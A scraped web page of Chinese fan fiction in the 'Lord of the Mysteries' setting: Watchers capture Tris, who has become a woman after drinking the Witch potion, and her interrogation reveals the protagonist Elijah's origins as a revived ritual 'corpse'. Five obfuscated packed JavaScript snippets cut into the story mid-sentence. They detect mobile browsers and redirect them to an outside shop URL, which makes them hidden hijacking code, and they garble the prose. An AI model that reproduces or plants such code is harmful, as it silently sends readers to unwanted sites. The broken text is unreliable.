恶龙酒吧位于廷根市码头区,是许多水手与工人聚集的地方,这里的上层是正常经营的酒吧,兼职黑拳赛场和赌场,而下层则是一个不小的非凡材料交易市集。 “非凡材料……”此时,伊莱亚正坐在马车上,听队长和伦纳德简单讨论恶龙酒吧相关的信息。 他想起此世记忆的开端,名为苜蓿号的船只上的场景。 当时,他刚离开那个满地血腥,除了他之外没有完整的人的诡异祭祀场所,本来想找人问问情况,刚出门却又遇上情绪激动争执 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17379253|199221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着的人群,避开锋芒结果差点又被卷入打群架…… 是毫无缘由,非常诡异的异常巨大的混乱,似乎每一个人都沉浸在极端而疯狂的情绪里,只是呼吸都能引起无数争端。 但是对于教唆者来说,应该是一场极其成功的扮演。 估计魔药都在这一场完美的“教唆”中消化完了吧。 “他是想买序列七的魔药材料晋升吗?”伊莱亚猛地抬头看向邓恩。 邓恩一愣,随即皱着眉肯定了他的话语:“有可能。不过不排除他是想制作符咒或者有其他目的。” 伊莱亚没记错的话,特里斯所在的这条途径,序列九名为“刺客”,序列八名为“教唆者”,至于序列七…… 名为“女巫”。 “女巫”魔药最为出名的作用是,让人变成美丽的女性,不论这个人本来的性别是什么。 简单来说,女性喝了魔药会变成很漂亮的女性,男性喝了魔药也会变成很漂亮的女性。 变得非常彻底,由内而外,完完全全的变成女性,之后再也不会变回来。 也正是因为这异常吸睛的魔药效果,刺客途径在游戏里算是各种意义上的“大名鼎鼎”。 不过这些内容,黑荆棘的资料里并没有记载,所以伊莱亚索性直接告诉邓恩和伦纳德了。 “……真的会变性?”黑发碧眼相貌英俊的伦纳德表情有些扭曲,都没顾得上他那张帅脸。 “对。”伊莱亚真诚的点头。 “还变得很好看?” “对。是那种一眼就能看出来很出挑的好看,会特别吸引人,有种近乎魔性的魅力。”伊莱亚一边回忆着曾经打过的几个女巫一边说道。 还是邓恩打破了这个有点干巴的对话:“所以我们不仅要抓特里斯,还要留心有没有相貌类似于特里斯的异常美丽的女性。我会把这件事告诉另外两个队伍的。这是很有用的资料。” “好了,我们走吧。” 恶龙酒吧到了。 12.是的抓到了特莉丝 恶龙酒吧的老板是一名序列八的非凡者,也是代罚者小队曾经的队长。他为各路非凡者和神秘学爱好者的交流与交易提供场地和一定的庇护,也收取租金。 在这种具有一定官方背景却又相对自由的地方,可以购买或者售卖许多常见的非凡材料,有时甚至能看到比较罕见而昂贵的珍品。 特里斯把头上的斗篷拉的更低,把自己的面孔尽数挡在阴影中。他现在的样子其实挺可疑,但是值得庆幸的是,这里来来往往的人有不少都隐藏身份,他的装束在市集中不算突兀。 他拎着装了零零碎碎的材料的布袋,回忆着“女巫”魔药的配方:“黑渊魔鱼的血、玛瑙孔雀的蛋、纯水、金色曼陀罗汁、水仙花汁和阴影蜥蜴的鳞片……” 算上在这里买到的材料,他已经把配方集齐了,剩下的就只有调配魔药和…… 接受自己晋升就要变性的事实。 藏在角落的阴影里警惕地注视着来往人群的特里斯微微咬牙,向来温和带笑的面孔上闪过几分阴郁。 他当然不想变成女的,也完全没做好变性的心理准备,但是,他已经被官方非凡者发现了。不知道具体是哪个教会的非凡者,但是对方手里有枪。低序列的非凡者虽然可以有超过常人的能力,但还不能从热武器的围攻下脱逃,特里斯当然也不例外。 身为序列八的“教唆者”,特里斯显然不能抵挡教会非凡者的追捕,除非他拥有新的更强大的非凡能力。 这个外表看起来只有十八九岁,脸蛋偏圆的年轻人在穿着警督服装的非凡者注意到他之前用力一闭眼,把身形藏入暗影中,转头走进了一个较为隐蔽的房间。 他把收集到的材料在桌上排开,按照步骤倒进玻璃瓶,混合,搅匀,直到一种种材料最终变成瓶中闪烁着奇妙光晕,颇具梦幻瑰丽色彩的玫红色液体。 特里斯举起瓶子,面无表情地盯着那在灯光照耀下显出几分澄澈的液体。 几秒钟后,在外面传来打开房门搜查的动静时,他闭上眼,仰起头,喝下了瓶中的魔药。 …… “这样开门会不会不太好?”伦纳德和伊莱亚被邓恩分配到一起,让他们进市集搜查,他自己则去和代罚者小队的队长对接。与他们同样进入搜查的还有代罚者和机械之心的成员。 此时,伦纳德看着伊莱亚随手摸了一根铁丝便轻松撬开紧闭的门锁,没忍住问出了声。 虽然里面确实有人声,也确实在“开门,值夜者检查!”的质问里毫无回应,像是突然死了一样,但是穿着警察制服在众目睽睽之下撬锁是不是不太好? 而且伊莱亚你的动作是不是有点太熟练了? “有什么不好?要是直接踹门的话把门踹坏了更糟糕吧?我们可是给他们省钱了。” 熟练的犯罪技巧是晋升囚犯途径序列九时所获得的非凡能力,包括但不限于各种撬锁方法以及偷鸡摸狗杀人放火的小技巧,可谓是非常符合序列名称的一套技能,也相当实用。 “而且你竟然不会撬锁吗?我以为……”我以为身为被高序列偷盗者寄生的人,这点偷盗小技巧应该属于基本素养? 他早就猜过伦纳德一个低序列的普通非凡者却带有高序列强者气息的原因了,可能性最大的无非密偶或者寄生之流,不过考虑到伦纳德显然是个思维正常的活人,多半是被序列四及以上的偷盗者寄生了。 偷盗者序列四的的名称就是“寄生者”,最具代表性的能力即为“寄生”,可以借宿主的身体隐藏自身。 伊莱亚的思路在中途卡住,他愣了一下,在伦纳德疑惑的目光里感到微微的困惑:“怎么了吗?” 伦纳德:“你以为什么?” 伊莱亚回忆了一下脑子里的空白,眨了眨眼:“忘了。” 他确实忘了自己刚刚想了什么,又想说什么,不过,他也确定伦纳德身体里那位是个偷盗者了。 除了能偷走万物甚至是概念和意识的偷盗者以外,谁能这样轻松的抹去一个人的记忆呢? 伊莱亚的余光注意到伦纳德的动作停顿了一下,一副正在听什么人说话的样子。但他没管队友的神秘小动作,只是轻松打开锁,推门。 房间装潢的很有神秘气氛,里面聚集着一群人,桌上放常见的占卜道具,估计是在教什么占卜方法吧,但是课程被伊莱亚打断,一群人有点战战兢兢地看向门口。 “没有特里斯,走,下一间。”伊莱亚扫了一眼,没有和通缉令上的图片长相相似的人,于是快步离开房间,敲了敲对面的房门:“你好,值夜者检查,开门。” 伦纳德朝面色茫然的几人微微颔首,低笑了一声,“没有犯罪的话,还是不要躲着警察比较好。”然后也扭头,跟上了伊莱亚的脚步。 这一间房的门开的很快,也不出意外的没有什么异状。伊莱亚和伦纳德 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387396|199221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照例问完话,刚准备走出门,就听到一声枪响。 纷乱而嘈杂的人声一瞬间轰然而起,房间里的两人对视一眼,不约而同地夺门而出。 不出所料的话,是有人发现特里斯了! 伊莱亚跑出门口,正看到一个披着黑色斗篷的身影跑向出口,步伐快到几乎只能看见残影,下一瞬,那斗篷身影骤然变成透明,似乎悄无声息地融化在空气里了。 不远处追着他的是机械之心的成员,这群非凡者隶属于蒸汽教会,战斗时最大的特点就是遇事不决先上道具,武器洗地完再考虑别的事情。 这次也不例外,他们毫不吝啬地使用各种各样的非凡武器,朝着特里斯而去。 只可惜那道被追逐的身影形如鬼魅,躲过了绝大部分攻击,即使被命中也没有太影响到他逃亡的行动,甚至还有余力使用黑魔法,带有诡异气息的黑暗和冰霜蔓延开来。 “啊,恐惧的威胁,绯红的希冀! 起码一事是真:此生飞逝……”* 伦纳德一边拔枪追着特里斯,一边吟诵起诗句。身为“午夜诗人”,他所吟诵的诗篇能对他人产生一定的影响,这首诗则能让敌人的动作变得迟缓,产生困意。 比他动作更快的是狼人化了的伊莱亚。 伊莱亚脸颊两侧和露在外面的手背上都长出短毛,头顶催生出与头发同色的狼耳,整个身体都拔高了一些,也变得更加敏捷矫健。 他的脚在地上用力一蹬,身形便如离弦之箭一般,以近乎恐怖的速度追上那道消失的身影,一边使用法术,让阴冷的黑暗裹挟这片空间。 他一边追逐,一边突兀地做出来闻嗅着什么东西的样子,又凭空做出抓握的动作,从空气中抓出来一个透明的东西。 下一刻,被掐住脖子的人挣扎着显出形貌。 黑色的斗篷,过于宽大所以显得不算合身的衣服,圆圆的脸,柔和的五官,但看起来并不出彩,组合在脸上却显出动人的奇异魅力,似乎一颦一笑都能吸引所有人的注意,让观者为其倾心。 是特里斯,不对,准确一点的说,是特莉丝。 这个被伊莱亚抓住,正在艰难的呼吸,试图扒开伊莱亚的手的家伙,是个美貌动人、泫然欲泣的少女。 伊莱亚沉默着飞快对比了一下眼前少女和通缉令上画像的区别,没忍住分心了一瞬:女巫魔药在整容方面真是登峰造极程度的强大啊。 13.她逃他追插翅难飞 似乎有那么一瞬间,伊莱亚也被眼前少女那种奇异的魅力所吸引到了,动作都停顿了一刹。 因为正处于狼人化的状态,此刻的伊莱亚的面目都带上了几分难以描述的野性,五官变得深刻而凌厉,瞳孔更是因为变成了狭长竖瞳而显出一种近乎冷漠的凶悍。 其他几个非凡者飞快赶来,却只看到面无表情的伊莱亚手松开了一秒,然后飞快的用力,握紧。 狼人强大的力量足以轻松捏碎人体骨骼,更不用说是一个美貌瘦弱的少女……就算他之前是个男的,骨骼也不会更硬。 “伊……”伦纳德下意识睁大眼,想要阻止队友过于危险的行动。 不管是作为值夜者还是作为警督,都不应该随便杀人,哪怕是已经被控制住的通缉犯也一样。 但他突然听到脑海中苍老的声音响起:“臭小子,你仔细看看那个魔女。还有,后退。” 在伊莱亚手中哭泣着挣扎的少女露出一种诡异的微笑,在被捏碎颈骨之前化作骤燃的黑焰,以空气为燃料,一边灼烧一边爆发出黑色的火星,如同转瞬即逝的墨色花卉。 黑焰很快燃烧殆尽,地上只剩下一个破碎的镜子。 伊莱亚扫了一眼地上的碎片,冷笑一声,暗绿的竖瞳在不算明亮的环境里带上了奇异的光:“女巫的替身。” 他也和不少魔女打过交道,清楚这个序列极具代表性的能力之一就是与镜子相关的法术,包括但不限于序列七的镜子替身和高序列的镜中重生。 对于刺客序列的人来说这是一个实用而强力的能力,但对于追捕“女巫”的人来说,这就是麻烦透顶的逃跑技能。 别的不说,作为一个刚晋升“女巫”就能用出这么多女巫的法术的人,特莉丝在当女巫方面称得上天赋卓绝。 虽然她自己大概不太希望获得这个评价。 “走吧,她应该往外逃了。” …… 特莉丝感觉自己的灵性快要枯竭,头痛的像是被人往里面扔了炸弹,又或许是刚刚真的有什么非凡者用了让她头痛的能力。 但她不敢停下,一边用着相当陌生的替身法术逃出抓捕,一边把自身隐匿于暗影之中,飞快的奔逃。 “刺客”魔药曾经赋予特里斯强大的爆发力和轻盈有力的身体,令他能在各种场合轻松刺杀目标,然后从容不迫的隐入人群,逃离现场。 本来这次也该像以前一样轻松的,更何况她在晋升之后拥有了隐形的能力,隐匿自身的水平更上一层楼。 但是为什么,为什么那个红头发的家伙这么轻松地就发现了她! 非常直接,毫不犹豫地抓住她,就好像她完全没有躲藏也没有隐身,而是傻愣愣地站在那里没动一样! 特莉丝咬牙,感受到脖颈处被狼人捏住的位置泛起尖锐的刺痛,还夹杂着灼烧般的腐蚀感。 她想起来惊鸿一瞥间看到那人手上尖锐的指甲,如同野兽的爪牙。 那混蛋手上有毒! 特莉丝恨恨地想着等这次出去一定要找机会报仇,一边离开市集,躲过受惊的人群和酒吧的客人,在混乱的群体中藏身,时不时使用黑魔法引发混乱,一边藏住脸,向外走去。 值得庆幸的是,酒吧里的非凡者不算多,也并不敏锐,并没有发现藏的很谨慎的特莉丝的身影。 终于走出恶龙酒吧的特莉丝确认了自己已经躲过了门外的非凡者的视线,长出了一口气,沿着街角和房屋间的狭窄过道快速奔跑,直到远离恶龙酒吧,远离这一片被教会非凡者控制住的区域时,才彻底停下。 这个容貌美丽的少女打理了一下自己过于慌乱狼狈的形象,挡住脖子那里青紫的痕迹,把斗篷放下来,让自己看起来像是一个普通的路人。 她轻轻舒了一口气,沉默着登上了离开码头区的公共马车。 马车上人数不多,不算喧闹,每个人都顾着自己的事情,有的在看报纸,有的在和同伴切切私语,有的…… 特莉丝隐蔽打量乘客的目光突然顿住了。 她突然意识到正对面的那个乘客,那个从她上车起就一直拿着报纸在专注阅读,一身正装的中年男人,从不知何时起,早已放下报纸,安静地看着她。 中年乘客的灰眸平静而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393879|199221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深邃,似乎埋藏了什么静谧而深远的东西,为他增添了一种神秘气质。 似乎是感受到了她转过来的目光,灰眸的乘客嘴角微微上扬了一点。 特莉丝的瞳孔微微收缩。 下一瞬,在特莉丝下意识点燃黑焰,隐藏身形准备逃离车厢的时刻,她看到视线内的一切都变得虚幻而扭曲,如同被投入石子的水面,又好像是被打碎的梦境。 是非凡者! 她刚刚,一直在梦里! 世界天旋地转,特莉丝再睁开眼的时候,就看到刚刚掐住自己脖子的那个混蛋红毛的脸。 现在的他脸上和头顶都没有那如狼人一般的毛发了,看起来就是一个再正常不过的英俊年轻人。 “呦,醒啦?变性手术很成功,你已经是个女孩子啦。” 红发青年语调轻快,奇怪的让人难以理解的话语却轻松踩爆了刚刚还是“特里斯”的新晋“女巫”的雷点。 但是她感受到手上压制住非凡能力的手铐带来的束缚感和虚弱感,没有再做出什么举动,只是表情变得扭曲狰狞了一瞬,又飞快恢复成柔弱美丽破碎的被伤害了的少女的样子。 她还想趁着自己改变了模样的时机装一下无辜,万一别人信了呢? 特莉丝张口,声音里带上了奇异的具有煽动性的魔力:“请问,为什么……” 她的声音突兀地卡住了。 伦纳德举着一张通缉令放在她眼前,面上带着习惯性展露却比平常多了几分冷峻色彩的微笑。 “这是你吧?”他的语调如同在朗读什么动听的诗歌,“特里斯先生,哦不,特莉丝小姐?” 通缉令上的画像很传神,对五官面貌的特色抓的很到位,气质的描绘也很还原。 那是特莉丝曾经无数次在镜子中见到过的脸。 那是曾经的他。 面容柔和美丽了许多倍的少女同画像中和她面貌相似的年轻人对视,宛如血脉相连的兄妹,又似乎是隔着纸面在看能照出灵魂的镜子。 在一众非凡者的环绕里,特莉丝的表情空白了一些,偏过头去,不说话了。 14.这份回忆有点怪啊 特莉丝诡异的沉默一直保持到她被带进查尼斯门。 按照规定,非凡案件相关的罪犯会被关押在查尼斯门后,经过简单审讯后遣送往圣堂,等候进一步发落。 廷根虽然因为“大学之城”的特色而在鲁恩有一定的名气和独特的地位,但确实是一座人口不算非常多,规模也不算很大的小城。 这样说的意思是,特莉丝其实算是这几年来廷根的值夜者遇到过的序列最高的非凡罪犯之一,对于队员们而言,她的存在还挺新鲜的。 因为占卜能力很好用所以被临时叫过来的克莱恩和轮值的队友们站在一起,带着点好奇打量着眼前面容甜美的女性。 虽然因为女巫的能力,他的占卜被干扰导致看不到结果,但是他也没有提出要离开,而是选择留下旁观。 在非凡序列中,序列八、序列九算低序列,序列五、六、七是中序列,半神,也就是序列四及以上的非凡者被统称为高序列。 算上队长邓恩和伊莱亚,特莉丝是他见到过的第三个中序列非凡者。 队长可以轻而易举游刃有余的拉人入梦,操纵梦境,伊莱亚能够变身狼人,力量和速度都远超一般非凡者,而特莉丝的魔药可以变性,还可以施展各种法术。 这样想来,序列七基本算是一个门槛,到这个阶段,非凡者拥有的能力已经相当强力且可以外显,符合一般人对于“非凡”的幻想了。 虽然距离有点远,但是克莱恩还是在心里期待了一下占卜家序列七会有的能力。 克莱恩没忍住又打量了一眼特莉丝,她现在的样子怎么看都是一副憔悴破碎,令人下意识怜惜的美人相,任谁来都看不出她在几个小时之前还是一个纯正的男人。 非凡,真神奇啊。 …… 伊莱亚坐在审讯室的椅子上,和特莉丝对视。 查尼斯门后的审讯室的布局挺眼熟,和警局的差不多,不过和他之前待过的那间比起来,最大的区别应该是之前他坐过的那个位置现在坐着特莉丝。 伊莱亚当然不会是负责审讯的人,坐在主位的是邓恩,伊莱亚作为新人也作为苜蓿号的幸存者,主要起到一个陪衬的作用。 至少在特莉丝借着煤气灯的光芒,眯起眼睛仔细打量他之前,是这样的。 “我在船上见过你。”黑发的少女脸上露出古怪的介于嫌弃和疑惑之间的神情,似乎看见了什么不该出现在世界上的东西,又像是看到了披上人皮说着人话的异形。 “我知道,我对你也有印象。”伊莱亚看了一眼邓恩,明白邓恩应允了这场对话才接上特莉丝的话头。 他还记得当时船上那个被所有人奉为英雄的圆脸青年意气风发的样子。 “我不是这个意思。”特莉丝的表情似笑非笑嘴角的弧度如同扒在脸上的面具,“我是说,在我印象里,长着你这张脸的应该是一具尸体。” 话音落下,审讯室内似乎凭空升起了一股寒意。 伊莱亚一愣。 在他的记忆里,他是突然就穿越过来面对这个世界的一切的。 伊莱亚没有先前的记忆,也没查到自己原本的身份,当然也不知道自己的身体在他穿越之前是死是活。不过想想这怎么说也是一场穿越,有什么奇怪的现象都是可以理解的。 不过他清楚的一点是,自己现在确实是各项生理机能都正常的活人。 体温正常,能吃能睡,思维清晰而活跃,非凡能力都能用。 反正在伊莱亚自己的判断里,他没有任何异于常人的地方。 至于更多的神秘学方面的东西的话——先不说非凡世界当中有不少复活的能力,既然黑夜女神和愚者都没说他有问题,那他也就先当自己真的没问题了。 那些找不到真相的东西,伊莱亚选择暂时放弃思考——等到他序列升高非凡知识变多,可以解答自己的疑惑之后再说吧。 或者等遇到了认识自己身体的人再问相关信息也一样。 他现在有正当的身份,还有很多的时间,完全可以慢慢去研究空白的记忆和这世界的一切。 于是伊莱亚平静地回复特莉丝:“然后呢,仔细讲讲。” 特莉丝似乎对他过分平静的表现有点不满,但是在抿了一下嘴之后还是在值夜者的注视中给出了回答。 特里斯登上苜蓿号是为了扮演“教唆者”,消化魔药,争取早日晋升。理所当然的,他更多的注意力放在船客和海员身上,放在一切可以挑起争端和矛盾的地方。 但是他也注意到那群行为奇怪的人。 数量不多,总共也就十几人,都住在相邻的房间,但是行为很奇怪,穿着朴素而同一不说,他们带上船的行李除了各自的包和箱子之外,还有一个托运的大木盒,甚至偷偷把木盒拿出来,放到他们自己的房间里。 ——虽然没做成棺材的款式,但是特里斯能看得出来这盒子足够让一个身量不算矮的人平躺。 他对别人的行为不是很在意,只是穿梭于各路人之间,专注于不停的挑起争端,和各种人聊天,令他们放下心防,又以言语激发他们的怒火。 然而这群人的举动还是让他忍不住分心。在聊天中,他不断从各种人口中了解到关于这群人的事,莫名的行为,奇异的言语,大盒子里的神秘尸体…… 特里斯怀疑这群人和非凡有关。 他并不希望自己精心策划的扮演被打扰,所以主动地和这群人拉近关系——作为一个充满亲和力的言语高手,这种事情对他而言轻而易举——他知道了他们是来自贝克兰德的玫瑰学派信徒,然后也看到了棺材里的人。 深红色的及肩发,俊美的面容,苍白的肤色,紧闭的双眼,模样很年轻,看起来不过二十岁上下,没有呼吸也没有心跳,似乎是尸体,却又鲜活的像是下一秒就要睁开眼。 简直就像是特里斯小时候看到过的《罗塞尔故事集》里的“睡美人”,又像是传说中沉睡的血族王公。 在那群人口中,这个神秘人是在学派存放了多年却从未腐朽也从未苏醒的“非凡物品”。这次他们上船,是想借海上的神秘学环境,把这个人当做祭品来进行祭祀仪式。 选择在海上而非陆地上进行仪式,是因为鲁恩的国土受黑夜女神的庇佑,这个神秘人的非凡性质也会被黑夜女神所抑制,如果不离开鲁恩的陆地,他们无法实现自己的目标。 而后,这群人遵从灵性直觉,在各种船 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404447|199221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当中选择了苜蓿号。 特里斯自己也是隐秘组织的人,但是他无法理解对于邪神的狂热信仰。不过他不会直白的表明自己的无语,只是简单表达自己对这群人崇高目标的支持,并且委婉的劝他们晚点开始仪式,至少等准备完全之后再说。 然后特里斯就远离了他们。 ……谁知道一群狂热的邪教徒会整出什么大活,在他们真的搞出离谱的事情并把自己牵扯进去之前,他必须先完成自己的目的。 等到特里斯在众人的狼狈、争端与鲜血中成为所有人的“英雄”,并且满意地感受到魔药成功消化之后,他又去看了一下那群邪教徒居住的房间。 血色。 层层叠叠,覆盖了整个房间的每一件家具和每一个角落的鲜红,鲜红下是血液干涸后棕黑,彼此混合,相互映衬出一种极其诡异的氛围。在这铺天盖地的血色中,零零碎碎散落着许多人体肢干,死不瞑目的邪教徒的眼睛还在注视着没有邀请便闯入这房间的客人。 整个房间唯一说得上干净的地方是正中央的空地,不带一丝血迹,却用不知道什么颜料画着一个巨大的带着奇异图案的法阵,而在法阵上方,躺着那个曾经在木盒里一动不动的年轻人。 特里斯站在门口,血腥气如潮水般汹涌着扑向他鼻尖,甚至快要糊住他的眼睛,但他没来得及在乎这个,只是愣怔地看着那个法阵里的人。 他以他身为一个“刺客”所拥有的鹰眼级别的视力发誓,他看到那具尸体的胸膛在起伏,连带着喉结也在上下浮动,然后是微微抽搐的手指和挣扎着似乎即将睁开的眼皮…… 那群邪教徒不是来做什么祭祀仪式的吗?为什么仪式做完了,祭祀者死了,祭品倒是复活了? 在死而复生的怪物即将睁开眼的前一刻,特里斯关上门,飞也似的逃离了血案现场。 “后续没了吗?”死而复生的红发怪物敲了敲桌子,打断沉默的特莉丝的思路。 在特莉丝称得上诡异的眼神里,伊莱亚表现的就像特莉丝的故事里那个复活的祭品不是他一样,坦然镇定的不得了。 “再之后我就没往那边去了,剩下遇到过你的时候你自己应该也有印象吧。”她翻了个白眼,“再之后见到你就是在廷根了。” 伊莱亚若有所思的点头。 特莉丝所说的“玫瑰学派”在值夜者的资料中有记载,这个学派掌握的途径正是他所在的囚犯途径,也是目前已知的唯一一个掌握完整囚犯途径的隐秘组织。 考虑到他的身体在穿越过来的时候就已经是囚犯途径序列七,这个身体与玫瑰学派存在关联这种事情并不让人意外。 至于“宛如活着一般的尸体”……囚犯途径的序列六就叫做“活尸”,就算序列升的更高了也照样可以继续扮演活尸,所以对于这个途径来说,尸体在说话什么的都挺正常。虽然真正的“活尸”也许和特莉丝口中的尸体并不相同,但在穿越这种更大的异常面前,区区复活也只算是小事。 唯一的问题是,如果特莉丝的描述没问题的话,如果那个没有呼吸也没有心跳的人真的是一个“活尸”,那他至少应该是序列六,甚至更高。 可是伊莱亚现在只有序列七。 15.三百收藏非常感谢 穿越到苜蓿号上然后来到廷根,成为女神眷者,加入值夜者的伊莱亚·加拉哈德是一个囚犯途径序列七的“狼人”。 伊莱亚非常确定这一点。 他记得囚犯途径每一个序列所拥有的能力,也确信自己现在用不出任何要到本途径高序列才有的能力。 所以他在仔细思考之后,排除了“自己其实是因为仪式而苏醒的‘活尸’”这种可能,把怀疑转到“特里斯看到的那具‘尸体’真的是意外不腐、货真价实的尸体,并且真的只有序列七,只是因为仪式把他这个穿越倒霉蛋拉过来所以像是复活了一样”上。 虽然他也不太清楚这种操纵转移灵魂或者说意识的能力是属于哪个途径的——至少不属于他所知道的任何一个途径的序列九到序列一的能力,再往上的序列零真神伊莱亚没打过交道所以不了解——也不清楚为什么一群会因为仪式而死,甚至按照他看到的苜蓿号调查报告来说是自杀的邪教徒能搞出这种事。 按理说,这么容易被仪式反噬,那群邪教徒的序列应该挺低的,无论如何也不会导致太夸张的结果。但是以那个现场的猎奇程度来讲,说是他们引发了邪神降临也不令人意外。 ……总不能真的是玫瑰学派信仰的邪神降临了吧? 伊莱亚有些头疼。 玫瑰学派信仰的邪神,没意外的话就是他这个途径的序列零,其名为“被缚者”,掌握的权柄包括诅咒和异类。如果真有“被缚者”神降,那么别说苜蓿号上的人们能不能活着了,估计连苜蓿号这艘船都要被诅咒变成什么诡异的物品,被所有国家的正神教会来围剿了。 不,不会是神降,神降的时候死的人没这么少,被召唤的是天使或者圣者还差不多,但是无论是在伊莱亚还是在特莉丝的记忆中,房间里都没有多出来的神秘存在。 至少在他们的感知中是没有的。 不过,真把这个仪式当成“召唤仪式”的话,那群邪教徒确实召唤出来了一个人! 伊莱亚就是因为这场仪式而来到这个世界的! 他的身体可能算是苏醒,但是对于名为伊莱亚的这个灵魂而言,这正是一场降临! 伊莱亚的非凡知识还是太少了,没法推断出更多东西,但是如果像特莉丝说的那样,那些邪教徒是从贝克兰德出发的话…… 正坐在休息室一边翻相关资料一边思考穿越事件的伊莱亚猛地拍了拍自己的脑袋,发出沉闷的响声,把旁边同样在看书的克莱恩吓的一抖。 “怎么啦?”同为值夜者新人也同为穿越者,虽然克莱恩还没向伊莱亚坦白自己的身份,但是他还是会下意识对伊莱亚的穿越始末产生好奇与关切。 甚至想到特莉丝所说的“尸体复活”,克莱恩和伊莱亚又多了一个共同点——他们都是死而复生然后穿越的。 如果能搞清楚伊莱亚身上的谜团,多半也能为克莱恩探索自己的秘密以及回家的目标提供帮助。 “我在想,”伊莱亚把繁杂的资料整理起来,靠在桌面上思索,“等我之后有空的话我要去贝克兰德。现在这点线索我搞不懂,不知道那帮家伙来的地方会不会有更多情报。” 贝克兰德,鲁恩的首都,全国最繁华也是最重要的城市,被称为“希望之地”“万都之都”。在那里,既有最尊贵的王公贵族和最富裕的商人,也有最多样的三教九流与非凡者。不管是正神教会的非凡者还是隐秘组织,抑或是非凡者聚会,在贝克兰德都称得上遍地开花。 也正是因为如此,在贝克兰德能查到的东西以及接触的非凡者,都会比廷根更加丰富,也更容易接近真相。 “要去贝克兰德的话应该还要跟队长报备一下。不过我没记错的话,圣堂那边好像还说会派人给你送东西……?”克莱恩没有对伊莱亚的想法做出什么评价,他自己的非凡常识也有挺多不足,没法帮伊莱亚解决问题。 但他突然想起第一次见到伊莱亚时,收到的电报里说要来廷根的人。 “对,好像是什么圣堂派人来?我记得主教还说使者会给我带序列六的魔药呢。要是坐蒸汽列车的话,两三天怎么也够从凛冬郡抵达廷根了。估计是在路上卡住了吧?或者是被什么事情耽搁了?”伊莱亚叹了口气。 想要喝魔药晋升的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17411819|199221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前提,必须是已有的魔药已经完全消化,否则几乎必然失控进而死亡。 但是他几乎从没扮演过狼人,却也能感受到魔药早已经完全消化。 伊莱亚无法判断这是因为原身就已经扮演过狼人,不需要他再扮演一次,还是真的是什么穿越自带的外挂。 穿越以来经历的一切太过真实,他早就不相信这个世界是什么游戏数据,也不相信自己能有什么穿越外挂了。 ……好吧,暗影空间和空间里神秘出现的罗塞尔不算。 如果喝了序列六甚至之后的更多的魔药以后,他还是不经过扮演就完全消化的话,那伊莱亚完全可以怀疑这具身体真的曾经是高序列非凡者,早就把各个序列全部扮演了一遍,他现在喝的魔药都只是重走一遍晋升路了。 但如果一切真的如他猜想的一样发生的话,伊莱亚就得怀疑自己是不是什么神降容器或者高位者博弈的棋子了。 这种“重来一遍重临巅峰”的套路太小说了,他不是很相信自己的运气。 伊莱亚的运气向来不行,当初会跑去加入愚者教会也有愚者是“执掌好运的黄黑之王”的原因在,毕竟都“执掌好运”了,应该也不会让信徒太倒霉吧? 当然,现在已经完全明白愚者是个大好神甚至是他老乡的伊莱亚完全敢说,自己是真情实感的愚者信徒,不是什么来蹭好运的家伙。 赞美愚者。 “也不知道我什么时候能晋升……不知道占卜家的序列八会是什么样的。”克莱恩看了一眼快要晋升序列六的老乡,想了想自己还没消化完的“占卜家”魔药,也跟着叹了口气。 休息室里一时充斥着淡淡的宁静和迷茫。 